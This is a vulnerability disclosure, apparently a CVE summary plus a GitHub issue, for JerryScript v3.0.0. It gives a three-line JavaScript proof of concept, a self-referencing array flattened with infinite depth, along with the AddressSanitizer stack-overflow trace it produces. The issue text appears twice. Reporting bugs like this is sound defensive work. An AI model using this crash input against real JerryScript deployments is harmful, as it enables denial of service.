Jerryscript v3.0.0 and below was discovered to contain a stack overflow via ecma_find_named_property in ecma-helpers.c.
###### JerryScript revision

Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27)

Version: v3.0.0

###### Build platform

Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64)



###### Build steps

```bash
./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --profile=es2015-subset --stack-limit=20
```



###### Test case

```javascript
let array = new Array(1);
array.splice(1, 0, array);
array.flat(Infinity);
```
​	

###### Execution steps & Output

```bash
$ ./jerryscript/build/bin/jerry poc.js

ASAN:DEADLYSIGNAL
=================================================================
==37207==ERROR: AddressSanitizer: stack-overflow on address 0xff6f2ffc (pc 0x566c8fbc bp 0xff6f3040 sp 0xff6f3000 T0)
    #0 0x566c8fbb in ecma_find_named_property /root/jerryscript/jerry-core/ecma/base/ecma-helpers.c:618
    #1 0x56a91e1f  (/root/jerryscript/build/bin/jerry+0x477e1f)

SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/ecma/base/ecma-helpers.c:618 in ecma_find_named_property
==37207==ABORTING
```
Stack-overflow  in ecma_find_named_property (ecma-helpers.c)
This is a GitHub Issue
repo:jerryscript
owner:jerryscript-project
Title : Stack-overflow  in ecma_find_named_property (ecma-helpers.c)
Issue date:

--- start body ---
###### JerryScript revision

Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27)

Version: v3.0.0

###### Build platform

Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64)



###### Build steps

```bash
./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --profile=es2015-subset --stack-limit=20
```



###### Test case

```javascript
let array = new Array(1);
array.splice(1, 0, array);
array.flat(Infinity);
```
​	

###### Execution steps & Output

```bash
$ ./jerryscript/build/bin/jerry poc.js

ASAN:DEADLYSIGNAL
=================================================================
==37207==ERROR: AddressSanitizer: stack-overflow on address 0xff6f2ffc (pc 0x566c8fbc bp 0xff6f3040 sp 0xff6f3000 T0)
    #0 0x566c8fbb in ecma_find_named_property /root/jerryscript/jerry-core/ecma/base/ecma-helpers.c:618
    #1 0x56a91e1f  (/root/jerryscript/build/bin/jerry+0x477e1f)

SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/ecma/base/ecma-helpers.c:618 in ecma_find_named_property
==37207==ABORTING
```
--- end body ---
